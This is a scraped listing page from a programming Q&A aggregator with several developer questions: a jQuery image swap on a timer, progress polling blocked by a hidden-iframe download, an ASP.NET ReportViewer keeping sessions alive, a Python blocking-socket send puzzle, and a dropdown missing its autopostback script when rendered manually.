    This is very similar to a question I asked the other day but my page code has become significantly more complicated and I need to revisit it. I've been using the following code: $('#myLink').click(function() { $('#myImg').attr('src', 'newImg.jpg'); setTimeout(function() { $('#myImg').attr('src', 'oldImg.jpg'); }, 15000); }); To replace an image for a set period of time (15 seconds) when the link is clicked, then after 15 seconds, revert to the original image. However now, I'd like to run a snippet of javascript as well when the link is clicked (in addition to replacing the image), and only when the link is clicked (it's related to the 15 second image) and then have the js code disappear as well after the 15 seconds...however I'm not sure how to have jquery send js code into the page...Basically I just want jQuery to "echo" this code onto the page underneath the 15 second while I am there, but I don't know how jquery formats this "echo". Does this question make sense?

    Read the article

  • Calling WebMethods / WebService using jquery is blocking

    - by Sir Psycho
    Hi, I'm generating a file on the server which takes some time. For this, I have a hidden iframe which I then set the .src attribute to an aspx file i.e iframe.src = "/downloadFile.aspx" While this is taking place, I'd like to have a call to a web service return the progress. To do this, I thought I could use window.setInterval or window.setTimeout but Javascript seems to be blocked as soon as I set the iframe src attribute. Does anyone know how to get around this or perhaps try a different approach? I have also tried handlers, but the request never gets to the server so I'm assuming is a browser/javascript issue.

    Read the article

  • ASP.NET Session does not timeout on using ReportViewer Control.

    - by Saurabh
    Hi, We are using the ReportViewer control to display SSRS reports in our ASP.NET application. On pages where we use the ReportViewer control the session does not time out. The reason for this is the ReportViewer control emits a "setTimeOut" javascript function which reads the Session timeout value from the web.config and pings the server 1 minute before the configured value and keeps the session alive. For example, if the session timeout value is 5 minutes, the ReportViewer pings the server on the 4th minute. We used fidldler to verify this behavior. In addition, if we remove the ReportViewer control from the page, the sessions times out as expected. We also tried using the ReportViewer control in a sample application and observed the same behaviour. Has anyone faced this issue? Regards, Saurabh

    Read the article

  • python blocking sockets, send returns immediately

    - by Mark
    Hi, I am writing a multithreaded socket application in Python using the socket module. the server listens for connections and when it gets one it spawns a thread for that socket. the server thread sends some data to the client. but the client is not yet ready to receive it. I thought this would have caused the server to wait until the client starts recv but instead returns immediately the client then calls recv which is blocking and no data is ever received. client socket constructor self.__clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.__clientSocket.connect((server, port)) server socket constructor self.servSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.servSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #self.servSock.settimeout(None) self.servSock.setblocking(1) self.servSock.bind((self.addr,self.port)) self.servSock.listen(5) listening accept thread try: (cs, address) = self.servSock.accept() except socket.timeout: return threadName = '\r\nClient %s:%s\r\n' % (cs, address) print threadName clientSocketHandler = ClientSocket() clientSocketHandler.setClientSocket(cs) self.clients.newThread(self.clientFunc, {clientSocketHandler : "1"}, threadName).start() server and clients send/rec methods from inside ClientSocket receivedData = self.__clientSocket.recv(1024*1024) self.__clientSocket.send(s) any ideas why send() is returning straight away?

    Read the article

  • Asp.net RenderControl method not rendering autopostback for dropdownlist

    - by Tanya
    Hi all, i am bit confused as to why asp.net does not render a dropdownlist with the autopostback property set to true when using the RenderControl method. eg Dim sw As New IO.StringWriter Dim tw As New HtmlTextWriter(sw) Dim table As New Table table.Rows.Add(New TableRow) Dim tr As TableRow = table.Rows(0) tr.Cells.Add(New TableCell) Dim tc As TableCell = tr.Cells(0) Dim ddlMyValues As New DropDownList ddlMyValues.ID = "ddl1" ddlMyValues.Items.Add("Test1") ddlMyValues.Items.Add("Test2") ddlMyValues.Items.Add("Test3") ddlMyValues.AutoPostBack = True tc.Controls.Add(ddlMyValues) table.RenderControl(tw) Debug.WriteLine(sw.ToString) my output renders the dropdown list without the onchange="javascript:setTimeout('__doPostBack(\ddl1\',\'\')', 0)" that is generated by asp.net when using the dropdownlist normally. Is there a work around to this?

    Read the article

< Previous Page | 5 6 7 8 9 10 11 12 13 14 15 16  | Next Page >